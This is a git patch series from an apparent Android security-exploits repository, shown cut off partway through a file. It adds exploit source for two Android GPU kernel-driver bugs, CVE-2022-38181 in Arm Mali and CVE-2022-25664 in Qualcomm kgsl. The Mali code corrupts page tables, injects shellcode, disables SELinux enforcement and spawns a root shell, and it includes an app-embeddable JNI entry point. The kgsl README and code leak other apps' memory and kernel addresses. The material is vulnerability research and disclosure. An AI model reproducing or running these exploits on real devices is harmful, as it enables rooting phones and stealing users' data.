+  atom_number++;
+  mem_flags_change(mali_fd, (uint64_t)jit_addr, BASE_MEM_DONT_NEED, 0);
+  for (int i = 0; i < NUM_TRIALS; i++) {
+    union kbase_ioctl_mem_query query = {0};
+    query.in.gpu_addr = jit_addr;
+    query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE;
+    flush_regions[i] = flush(SPRAY_CPU, i + *flush_idx);
+    if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) {
+      migrate_to_cpu(SPRAY_CPU);
+      spray(mali_fd);
+      for (int j = 0; j < SPRAY_NUM; j++) {
+        mem_commit(mali_fd, gpu_va[j], SPRAY_PAGES);
+      }
+      LOG("region freed %d\n", i);
+
+      uint64_t alias_region = alias_sprayed_regions(mali_fd);
+      fault_pages();
+      LOG("cleanup flush region\n");
+      for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE);
+
+      uint64_t drain = drain_mem_pool(mali_fd);
+      release_mem_pool(mali_fd, drain);
+
+      jit_free(mali_fd, atom_number, jit_id);
+
+      map_reserved(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+      LOG("jit_freed\n");
+      int freed_idx = find_freed_idx(mali_fd);
+      if (freed_idx == -1) err(1, "Failed to find freed_idx");
+      LOG("Found freed_idx %d\n", freed_idx);
+      int pgd_idx = find_pgd(freed_idx, 0);
+      if (pgd_idx == -1) err(1, "Failed to find pgd");
+      uint64_t pgd = alias_region + pgd_idx * 0x1000 + freed_idx * (SPRAY_PAGES * 0x1000);
+      LOG("Found pgd %d, %lx\n", pgd_idx, pgd);
+      atom_number++;
+      write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0]));
+      run_enforce();
+      cleanup(mali_fd, pgd);
+      return 0;
+    }
+  }
+  LOG("failed, retry.\n");
+  jit_id++;
+  *flush_idx += NUM_TRIALS;
+  return -1;
+}
+
+#ifdef SHELL
+
+int main() {
+  setbuf(stdout, NULL);
+  setbuf(stderr, NULL);
+
+  select_offset();
+  int mali_fd = open_dev(MALI);
+
+  setup_mali(mali_fd, 0);
+
+  void* tracking_page = setup_tracking_page(mali_fd);
+  jit_init(mali_fd, 0x1000, 100, 0);
+
+  int mali_fd2 = open_dev(MALI);
+  setup_mali(mali_fd2, 1);
+  setup_tracking_page(mali_fd2);
+  reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+  int flush_idx = 0;
+  for (int i = 0; i < 10; i++) {
+    if(!trigger(mali_fd, mali_fd2, &flush_idx)) {
+      system("sh");
+      break;
+    }
+  }
+}
+#else
+#include <jni.h>
+JNIEXPORT int JNICALL
+Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz)
+{
+    setbuf(stdout, NULL);
+    setbuf(stderr, NULL);
+
+    select_offset();
+    int mali_fd = open_dev(MALI);
+
+    setup_mali(mali_fd, 0);
+
+    void* tracking_page = setup_tracking_page(mali_fd);
+    jit_init(mali_fd, 0x1000, 100, 0);
+
+    int mali_fd2 = open_dev(MALI);
+    setup_mali(mali_fd2, 1);
+    setup_tracking_page(mali_fd2);
+    reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+    int flush_idx = 0;
+    for (int i = 0; i < 10; i++) {
+        if(!trigger(mali_fd, mali_fd2, &flush_idx)) {
+            LOG("uid: %d euid %d", getuid(), geteuid());
+            return 0;
+        }
+    }
+    return -1;
+}
+#endif
+
diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/midgard.h b/SecurityExploits/Android/Mali/CVE_2022_38181/midgard.h
new file mode 100644
index 0000000..e0ce432
--- /dev/null
+++ b/SecurityExploits/Android/Mali/CVE_2022_38181/midgard.h
@@ -0,0 +1,260 @@
+#ifndef MIDGARD_H
+#define MIDGARD_H
+
+//Generated using pandecode-standalone: https://gitlab.freedesktop.org/panfrost/pandecode-standalone
+
+#include <stdio.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <assert.h>
+#include <math.h>
+#include <inttypes.h>
+#include <string.h>
+
+#define pan_section_ptr(base, A, S) \
+        ((void *)((uint8_t *)(base) + MALI_ ## A ## _SECTION_ ## S ## _OFFSET))
+
+#define pan_section_pack(dst, A, S, name)                                                         \
+   for (MALI_ ## A ## _SECTION_ ## S ## _TYPE name = { MALI_ ## A ## _SECTION_ ## S ## _header }, \
+        *_loop_terminate = (void *) (dst);                                                        \
+        __builtin_expect(_loop_terminate != NULL, 1);                                             \
+        ({ MALI_ ## A ## _SECTION_ ## S ## _pack(pan_section_ptr(dst, A, S), &name);              \
+           _loop_terminate = NULL; }))
+
+
+static inline uint64_t
+__gen_uint(uint64_t v, uint32_t start, uint32_t end)
+{
+#ifndef NDEBUG
+   const int width = end - start + 1;
+   if (width < 64) {
+      const uint64_t max = (1ull << width) - 1;
+      assert(v <= max);
+   }
+#endif
+
+   return v << start;
+}
+
+static inline uint64_t
+__gen_unpack_uint(const uint8_t *restrict cl, uint32_t start, uint32_t end)
+{
+   uint64_t val = 0;
+   const int width = end - start + 1;
+   const uint64_t mask = (width == 64 ? ~0 : (1ull << width) - 1 );
+
+   for (int byte = start / 8; byte <= end / 8; byte++) {
+      val |= ((uint64_t) cl[byte]) << ((byte - start / 8) * 8);
+   }
+
+   return (val >> (start % 8)) & mask;
+}
+
+enum mali_job_type {
+        MALI_JOB_TYPE_NOT_STARTED            =      0,
+        MALI_JOB_TYPE_NULL                   =      1,
+        MALI_JOB_TYPE_WRITE_VALUE            =      2,
+        MALI_JOB_TYPE_CACHE_FLUSH            =      3,
+        MALI_JOB_TYPE_COMPUTE                =      4,
+        MALI_JOB_TYPE_VERTEX                 =      5,
+        MALI_JOB_TYPE_GEOMETRY               =      6,
+        MALI_JOB_TYPE_TILER                  =      7,
+        MALI_JOB_TYPE_FUSED                  =      8,
+        MALI_JOB_TYPE_FRAGMENT               =      9,
+};
+
+enum mali_write_value_type {
+        MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER  =      1,
+        MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP =      2,
+        MALI_WRITE_VALUE_TYPE_ZERO           =      3,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_8    =      4,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_16   =      5,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_32   =      6,
+        MALI_WRITE_VALUE_TYPE_IMMEDIATE_64   =      7,
+};
+
+
+struct MALI_WRITE_VALUE_JOB_PAYLOAD {
+   uint64_t                             address;
+   enum mali_write_value_type           type;
+   uint64_t                             immediate_value;
+};
+
+struct MALI_JOB_HEADER {
+   uint32_t                             exception_status;
+   uint32_t                             first_incomplete_task;
+   uint64_t                             fault_pointer;
+   bool                                 is_64b;
+   enum mali_job_type                   type;
+   bool                                 barrier;
+   bool                                 invalidate_cache;
+   bool                                 suppress_prefetch;
+   bool                                 enable_texture_mapper;
+   bool                                 relax_dependency_1;
+   bool                                 relax_dependency_2;
+   uint32_t                             index;
+   uint32_t                             dependency_1;
+   uint32_t                             dependency_2;
+   uint64_t                             next;
+};
+
+
+static inline void
+MALI_JOB_HEADER_pack(uint32_t * restrict cl,
+                     const struct MALI_JOB_HEADER * restrict values)
+{
+   cl[ 0] = __gen_uint(values->exception_status, 0, 31);
+   cl[ 1] = __gen_uint(values->first_incomplete_task, 0, 31);
+   cl[ 2] = __gen_uint(values->fault_pointer, 0, 63);
+   cl[ 3] = __gen_uint(values->fault_pointer, 0, 63) >> 32;
+   cl[ 4] = __gen_uint(values->is_64b, 0, 0) |
+            __gen_uint(values->type, 1, 7) |
+            __gen_uint(values->barrier, 8, 8) |
+            __gen_uint(values->invalidate_cache, 9, 9) |
+            __gen_uint(values->suppress_prefetch, 11, 11) |
+            __gen_uint(values->enable_texture_mapper, 12, 12) |
+            __gen_uint(values->relax_dependency_1, 14, 14) |
+            __gen_uint(values->relax_dependency_2, 15, 15) |
+            __gen_uint(values->index, 16, 31);
+   cl[ 5] = __gen_uint(values->dependency_1, 0, 15) |
+            __gen_uint(values->dependency_2, 16, 31);
+   cl[ 6] = __gen_uint(values->next, 0, 63);
+   cl[ 7] = __gen_uint(values->next, 0, 63) >> 32;
+}
+
+
+#define MALI_JOB_HEADER_LENGTH 32
+struct mali_job_header_packed { uint32_t opaque[8]; };
+static inline void
+MALI_JOB_HEADER_unpack(const uint8_t * restrict cl,
+                       struct MALI_JOB_HEADER * restrict values)
+{
+   if (((const uint32_t *) cl)[4] & 0x2400) fprintf(stderr, "XXX: Invalid field unpacked at word 4\n");
+   values->exception_status = __gen_unpack_uint(cl, 0, 31);
+   values->first_incomplete_task = __gen_unpack_uint(cl, 32, 63);
+   values->fault_pointer = __gen_unpack_uint(cl, 64, 127);
+   values->is_64b = __gen_unpack_uint(cl, 128, 128);
+   values->type = __gen_unpack_uint(cl, 129, 135);
+   values->barrier = __gen_unpack_uint(cl, 136, 136);
+   values->invalidate_cache = __gen_unpack_uint(cl, 137, 137);
+   values->suppress_prefetch = __gen_unpack_uint(cl, 139, 139);
+   values->enable_texture_mapper = __gen_unpack_uint(cl, 140, 140);
+   values->relax_dependency_1 = __gen_unpack_uint(cl, 142, 142);
+   values->relax_dependency_2 = __gen_unpack_uint(cl, 143, 143);
+   values->index = __gen_unpack_uint(cl, 144, 159);
+   values->dependency_1 = __gen_unpack_uint(cl, 160, 175);
+   values->dependency_2 = __gen_unpack_uint(cl, 176, 191);
+   values->next = __gen_unpack_uint(cl, 192, 255);
+}
+
+static inline const char *
+mali_job_type_as_str(enum mali_job_type imm)
+{
+    switch (imm) {
+    case MALI_JOB_TYPE_NOT_STARTED: return "Not started";
+    case MALI_JOB_TYPE_NULL: return "Null";
+    case MALI_JOB_TYPE_WRITE_VALUE: return "Write value";
+    case MALI_JOB_TYPE_CACHE_FLUSH: return "Cache flush";
+    case MALI_JOB_TYPE_COMPUTE: return "Compute";
+    case MALI_JOB_TYPE_VERTEX: return "Vertex";
+    case MALI_JOB_TYPE_GEOMETRY: return "Geometry";
+    case MALI_JOB_TYPE_TILER: return "Tiler";
+    case MALI_JOB_TYPE_FUSED: return "Fused";
+    case MALI_JOB_TYPE_FRAGMENT: return "Fragment";
+    default: return "XXX: INVALID";
+    }
+}
+
+static inline void
+MALI_JOB_HEADER_print(FILE *fp, const struct MALI_JOB_HEADER * values, unsigned indent)
+{
+   fprintf(fp, "%*sException Status: %u\n", indent, "", values->exception_status);
+   fprintf(fp, "%*sFirst Incomplete Task: %u\n", indent, "", values->first_incomplete_task);
+   fprintf(fp, "%*sFault Pointer: 0x%" PRIx64 "\n", indent, "", values->fault_pointer);
+   fprintf(fp, "%*sIs 64b: %s\n", indent, "", values->is_64b ? "true" : "false");
+   fprintf(fp, "%*sType: %s\n", indent, "", mali_job_type_as_str(values->type));
+   fprintf(fp, "%*sBarrier: %s\n", indent, "", values->barrier ? "true" : "false");
+   fprintf(fp, "%*sInvalidate Cache: %s\n", indent, "", values->invalidate_cache ? "true" : "false");
+   fprintf(fp, "%*sSuppress Prefetch: %s\n", indent, "", values->suppress_prefetch ? "true" : "false");
+   fprintf(fp, "%*sEnable Texture Mapper: %s\n", indent, "", values->enable_texture_mapper ? "true" : "false");
+   fprintf(fp, "%*sRelax Dependency 1: %s\n", indent, "", values->relax_dependency_1 ? "true" : "false");
+   fprintf(fp, "%*sRelax Dependency 2: %s\n", indent, "", values->relax_dependency_2 ? "true" : "false");
+   fprintf(fp, "%*sIndex: %u\n", indent, "", values->index);
+   fprintf(fp, "%*sDependency 1: %u\n", indent, "", values->dependency_1);
+   fprintf(fp, "%*sDependency 2: %u\n", indent, "", values->dependency_2);
+   fprintf(fp, "%*sNext: 0x%" PRIx64 "\n", indent, "", values->next);
+}
+
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_pack(uint32_t * restrict cl,
+                                  const struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values)
+{
+   cl[ 0] = __gen_uint(values->address, 0, 63);
+   cl[ 1] = __gen_uint(values->address, 0, 63) >> 32;
+   cl[ 2] = __gen_uint(values->type, 0, 31);
+   cl[ 3] = 0;
+   cl[ 4] = __gen_uint(values->immediate_value, 0, 63);
+   cl[ 5] = __gen_uint(values->immediate_value, 0, 63) >> 32;
+}
+
+
+#define MALI_WRITE_VALUE_JOB_PAYLOAD_LENGTH 24
+#define MALI_WRITE_VALUE_JOB_PAYLOAD_header 0
+
+
+struct mali_write_value_job_payload_packed { uint32_t opaque[6]; };
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_unpack(const uint8_t * restrict cl,
+                                    struct MALI_WRITE_VALUE_JOB_PAYLOAD * restrict values)
+{
+   if (((const uint32_t *) cl)[3] & 0xffffffff) fprintf(stderr, "XXX: Invalid field unpacked at word 3\n");
+   values->address = __gen_unpack_uint(cl, 0, 63);
+   values->type = __gen_unpack_uint(cl, 64, 95);
+   values->immediate_value = __gen_unpack_uint(cl, 128, 191);
+}
+
+static inline const char *
+mali_write_value_type_as_str(enum mali_write_value_type imm)
+{
+    switch (imm) {
+    case MALI_WRITE_VALUE_TYPE_CYCLE_COUNTER: return "Cycle Counter";
+    case MALI_WRITE_VALUE_TYPE_SYSTEM_TIMESTAMP: return "System Timestamp";
+    case MALI_WRITE_VALUE_TYPE_ZERO: return "Zero";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_8: return "Immediate 8";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_16: return "Immediate 16";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_32: return "Immediate 32";
+    case MALI_WRITE_VALUE_TYPE_IMMEDIATE_64: return "Immediate 64";
+    default: return "XXX: INVALID";
+    }
+}
+
+static inline void
+MALI_WRITE_VALUE_JOB_PAYLOAD_print(FILE *fp, const struct MALI_WRITE_VALUE_JOB_PAYLOAD * values, unsigned indent)
+{
+   fprintf(fp, "%*sAddress: 0x%" PRIx64 "\n", indent, "", values->address);
+   fprintf(fp, "%*sType: %s\n", indent, "", mali_write_value_type_as_str(values->type));
+   fprintf(fp, "%*sImmediate Value: 0x%" PRIx64 "\n", indent, "", values->immediate_value);
+}
+
+struct mali_write_value_job_packed {
+   uint32_t opaque[14];
+};
+
+#define MALI_JOB_HEADER_header                  \
+   .is_64b = true
+
+#define MALI_WRITE_VALUE_JOB_LENGTH 56
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_TYPE struct MALI_JOB_HEADER
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_header MALI_JOB_HEADER_header
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_pack MALI_JOB_HEADER_pack
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_unpack MALI_JOB_HEADER_unpack
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_print MALI_JOB_HEADER_print
+#define MALI_WRITE_VALUE_JOB_SECTION_HEADER_OFFSET 0
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_TYPE struct MALI_WRITE_VALUE_JOB_PAYLOAD
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_header MALI_WRITE_VALUE_JOB_PAYLOAD_header
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_pack MALI_WRITE_VALUE_JOB_PAYLOAD_pack
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_unpack MALI_WRITE_VALUE_JOB_PAYLOAD_unpack
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_print MALI_WRITE_VALUE_JOB_PAYLOAD_print
+#define MALI_WRITE_VALUE_JOB_SECTION_PAYLOAD_OFFSET 32
+
+#endif

From b209d0e45893d330f1e7c512b08250b16d20a990 Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Mon, 23 Jan 2023 15:23:20 +0000
Subject: [PATCH 098/104] Correct CVE number.

---
 SecurityExploits/Android/Mali/CVE_2022_38181/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/SecurityExploits/Android/Mali/CVE_2022_38181/README.md b/SecurityExploits/Android/Mali/CVE_2022_38181/README.md
index 71df73d..b89efc7 100644
--- a/SecurityExploits/Android/Mali/CVE_2022_38181/README.md
+++ b/SecurityExploits/Android/Mali/CVE_2022_38181/README.md
@@ -1,4 +1,4 @@
-## Exploit for CVE-2022-20186
+## Exploit for CVE-2022-38181
 
 The write up can be found [here](https://github.blog/2023-01-23-pwning-the-all-google-phone-with-a-non-google-bug). This is a bug in the Arm Mali kernel driver that I reported in July 2022. The bug can be used to gain arbitrary kernel code execution from the untrusted app domain, which is then used to disable SELinux and gain root.
 

From 1be133fe561e453987d8a6e7439bd576a6a6a274 Mon Sep 17 00:00:00 2001
From: JarLob <jarlob@gmail.com>
Date: Thu, 16 Feb 2023 13:17:08 +0100
Subject: [PATCH 099/104] Add Ruby to the list

---
 .github/ISSUE_TEMPLATE/all-for-one.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/ISSUE_TEMPLATE/all-for-one.yml b/.github/ISSUE_TEMPLATE/all-for-one.yml
index 80c62dc..45c44ee 100644
--- a/.github/ISSUE_TEMPLATE/all-for-one.yml
+++ b/.github/ISSUE_TEMPLATE/all-for-one.yml
@@ -34,6 +34,7 @@ body:
         - Javascript
         - GoLang
         - Python
+        - Ruby
         - C/C++
         - C#
     validations:

From 3cd53e14a97bcd7854fb64f6bd03c1ce93bf216a Mon Sep 17 00:00:00 2001
From: Man Yue Mo <m-y-mo@github.com>
Date: Tue, 21 Feb 2023 11:29:33 +0000
Subject: [PATCH 100/104] Initial commit.

---
 .../Android/Qualcomm/CVE_2022_25664/README.md |  48 ++++
 .../CVE_2022_25664/adreno_kernel/adreno_cmd.c |  76 ++++++
 .../CVE_2022_25664/adreno_kernel/adreno_cmd.h |  40 +++
 .../adreno_kernel/adreno_kernel.c             | 225 +++++++++++++++++
 .../CVE_2022_25664/adreno_kernel/dma_search.h |  94 +++++++
 .../CVE_2022_25664/adreno_kernel/kgsl_utils.c |  80 ++++++
 .../CVE_2022_25664/adreno_kernel/kgsl_utils.h | 237 ++++++++++++++++++
 .../CVE_2022_25664/adreno_user/adreno.h       | 218 ++++++++++++++++
 .../CVE_2022_25664/adreno_user/adreno_user.c  | 221 ++++++++++++++++
 9 files changed, 1239 insertions(+)
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/dma_search.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.c
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/kgsl_utils.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno.h
 create mode 100644 SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_user/adreno_user.c

diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md
new file mode 100644
index 0000000..cfb7192
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/README.md
@@ -0,0 +1,48 @@
+## CVE-2022-25664
+
+The write up can be found [here](https://github.blog/2023-02-23-the-code-that-wasnt-there-reading-memory-on-an-android-device-by-accident). This is a bug in the Qualcomm kgsl driver that I reported in December 2021. The bug can be used to leak information in other user apps, as well as in the kernel from an untrusted app.
+
+The directory `adreno_user` contains a proof-of-concept for leaking memory from other applications. It'll repeatedly trigger the bug and read the stale information contained in memory pages. There is no telling or control over what information is being leaked. To test this, compile with the following command:
+
+```
+aarch64-linux-android30-clang -O2 adreno_user.c -o adreno_user
+```
+
+and then push `adreno_user` to the device and run it. It should print out non zero memory content:
+
+```
+flame:/ $ /data/local/tmp/adreno_user
+hexdump(0x50000000, 0x190)
+00000000  0d 00 00 00 00 00 00 00 22 55 00 00 00 00 00 00  |........"U......|
+00000010  fb 84 67 b5 73 00 00 b4 e0 84 67 b5 73 00 00 b4  |..g.s.....g.s...|
+00000020  00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00  |................|
+00000030  b0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
+00000040  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  |................|
+00000050  cb e9 67 e5 73 00 00 b4 00 00 00 00 00 00 00 00  |..g.s...........|
+00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
+00000070  90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
+00000080  04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
+00000090  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |................|
+000000a0  fb 84 67 b5 73 00 00 b4 e0 84 67 b5 73 00 00 b4  |..g.s.....g.s...|
+.......
+```
+
+The directory `adreno_kernel` contains a proof-of-concept for leaking kernel information for KASLR bypass. It'll repeatedly trigger the bug and tries to leak kernel addresses. Depending on whether the device is running kernel branch 4.x or 5.x, the Macro `KERNEL_BRANCH` in `adreno_kernel.c` should be set to either `4` or `5`.
+
+To test, compile with 
+
+```
+aarch64-linux-android30-clang adreno_kernel.c adreno_cmd.c kgsl_utils.c -O3 -o  adreno_kernel
+```
+
+and then run it on the device. If successful, it should print out the kernel addresses of some objects and functions:
+
+```
+flame:/ $ /data/local/tmp/adreno_kernel
+found dma fence object:
+kgsl_syncsource_fence_ops address: ffffff9daaea8b48
+object address: fffffffe116100a0
+syncsource address: fffffffe0b244480
+```
+
+It has been tested on a number of devices. The time it takes (depends on the success rate of a single leak) varies across devices. It is relatively quick Pixel 4, but takes longer on the Samsung Z flip 3.
diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c
new file mode 100644
index 0000000..9a9b279
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.c
@@ -0,0 +1,76 @@
+#include "adreno_cmd.h"
+
+uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr)
+{
+    uint *start = cmds;
+
+    *cmds++ = lower_32_bits(gpuaddr);
+    *cmds++ = upper_32_bits(gpuaddr);
+
+    return cmds - start;
+}
+
+uint pm4_calc_odd_parity_bit(uint val) {
+    return (0x9669 >> (0xf & ((val) ^
+                              ((val) >> 4) ^ ((val) >> 8) ^ ((val) >> 12) ^
+                              ((val) >> 16) ^ ((val) >> 20) ^ ((val) >> 24) ^
+                              ((val) >> 28)))) & 1;
+}
+
+uint cp_type7_packet(uint opcode, uint cnt) {
+    return CP_TYPE7_PKT | ((cnt) << 0) |
+           (pm4_calc_odd_parity_bit(cnt) << 15) |
+           (((opcode) & 0x7F) << 16) |
+           ((pm4_calc_odd_parity_bit(opcode) << 23));
+}
+
+uint cp_wait_for_me(
+        uint *cmds)
+{
+    uint *start = cmds;
+
+    *cmds++ = cp_type7_packet(CP_WAIT_FOR_ME, 0);
+
+    return cmds - start;
+}
+
+uint cp_mem_packet(int opcode, uint size, uint num_mem) {
+    return cp_type7_packet(opcode, size + num_mem);
+}
+
+uint cp_wait_for_idle(
+        uint *cmds)
+{
+    uint *start = cmds;
+
+    *cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0);
+
+    return cmds - start;
+}
+
+uint cp_type4_packet(uint opcode, uint cnt)
+{
+    return CP_TYPE4_PKT | ((cnt) << 0) |
+           (pm4_calc_odd_parity_bit(cnt) << 7) |
+           (((opcode) & 0x3FFFF) << 8) |
+           ((pm4_calc_odd_parity_bit(opcode) << 27));
+}
+
+uint cp_register(
+        unsigned int reg, unsigned int size)
+{
+    return cp_type4_packet(reg, size);
+}
+
+uint cp_invalidate_state(
+        uint *cmds)
+{
+    uint *start = cmds;
+
+    *cmds++ = cp_type7_packet(CP_SET_DRAW_STATE, 3);
+    *cmds++ = 0x40000;
+    *cmds++ = 0;
+    *cmds++ = 0;
+
+    return cmds - start;
+}
diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h
new file mode 100644
index 0000000..01cfeb5
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_cmd.h
@@ -0,0 +1,40 @@
+#ifndef ADRENO_CMD_H
+#define ADRENO_CMD_H
+
+#include <unistd.h>
+
+#define CP_TYPE4_PKT    (4 << 28)
+#define CP_TYPE7_PKT    (7 << 28)
+
+#define CP_NOP                  0x10
+#define CP_WAIT_FOR_ME          0x13
+#define CP_WAIT_FOR_IDLE        0x26
+#define CP_WAIT_REG_MEM         0x3c
+#define CP_MEM_WRITE            0x3d
+#define CP_INDIRECT_BUFFER_PFE  0x3f
+#define CP_SET_DRAW_STATE       0x43
+#define CP_MEM_TO_MEM           0x73
+#define CP_SET_PROTECTED_MODE   0x5f
+
+#define upper_32_bits(n) ((uint32_t)(((n) >> 16) >> 16))
+#define lower_32_bits(n) ((uint32_t)(n))
+
+uint cp_gpuaddr(uint *cmds, uint64_t gpuaddr);
+
+uint pm4_calc_odd_parity_bit(uint val);
+
+uint cp_type7_packet(uint opcode, uint cnt);
+
+uint cp_wait_for_me(uint *cmds);
+
+uint cp_mem_packet(int opcode, uint size, uint num_mem);
+
+uint cp_wait_for_idle(uint *cmds);
+
+uint cp_type4_packet(uint opcode, uint cnt);
+
+uint cp_register(unsigned int reg, unsigned int size);
+
+uint cp_invalidate_state(uint *cmds);
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c
new file mode 100644
index 0000000..474f706
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE_2022_25664/adreno_kernel/adreno_kernel.c
@@ -0,0 +1,225 @@
+#include <err.h>
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <time.h>
+#include <poll.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdbool.h>
+#include <sched.h>
+#include <linux/aio_abi.h>
+
+
+#include "kgsl_utils.h"
+#include "adreno_cmd.h"
+#include "dma_search.h"
+
+#define CMD_SIZE 4
+
+#define OBJS_PER_SLAB (0x1000/OBJECT_SIZE)
+
+#define CPU_PARTIAL 30
+
+#define MMAP_SPRAY 1000
+
+#define OBJ_SPRAY 10000
+
+#define CPU_SETSIZE 1024
+#define __NCPUBITS  (8 * sizeof (unsigned long))
+typedef struct
+{
+   unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
+} cpu_set_t;
+
+#define CPU_SET(cpu, cpusetp) \
+  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
+#define CPU_ZERO(cpusetp) \
+  memset((cpusetp), 0, sizeof(cpu_set_t))
+
+#define KERNEL_BRANCH KERNEL_4
+
+void migrate_to_cpu(int i)
+{
+    int syscallres;
+    pid_t pid = gettid();
+    cpu_set_t cpu;
+    CPU_ZERO(&cpu);
+    CPU_SET(i, &cpu);
+
+    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
+    if (syscallres)
+    {
+        err(1, "Error in the syscall setaffinity");
+    }
+}
+
+static uint32_t* map_anon(int kgsl_fd, uint64_t* addr, size_t size) {
+  uint32_t* out = NULL;
+  out = (uint32_t*)mmap(NULL, size, PROT_READ|PROT_WRITE,
+                                        MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+  if (out == MAP_FAILED) {
+    err(1, "shared_mem_buf failed");
+  }
+  int ret = kgsl_map(kgsl_fd, (unsigned long)out, size, addr, 0);
+    
+  if (ret == -1) {
+    err(1, "kgsl_map failed %p\n", out);
+  }
+  return out;
+}
+
+static uint32_t write_gpu_cmd(uint32_t* write_cmd_buf, uint64_t shared_mem_gpuaddr, uint32_t n) {
+  uint32_t* write_cmds;
+
+  write_cmd_buf = write_cmd_buf + 0x1000/CMD_SIZE - 5;
+
+  write_cmds = write_cmd_buf;
+
+  *write_cmds++ = cp_type7_packet(CP_NOP, 1);
+  *write_cmds++ = 0xffffffff;
+
+  *write_cmds++ = cp_type7_packet(CP_MEM_WRITE, 2 + n);
+
+  write_cmds += cp_gpuaddr(write_cmds, shared_mem_gpuaddr);
+
+  return (write_cmds - write_cmd_buf + n) * CMD_SIZE;
+}
+
+
+static  int io_setup(unsigned nr, aio_context_t *ctxp)
+{
+  return syscall(__NR_io_setup, nr, ctxp);
+}
+
+static int io_destroy(aio_context_t ctx) 
+{
+  return syscall(__NR_io_destroy, ctx);
+}
+
+int find_address() {
+  uint32_t *write_cmd_buf;
+  uint64_t *shared_mem_buf;
+  void *shared_mem_buf2;
+  uint64_t shared_mem_gpuaddr2;
+  uint32_t n = 2048;
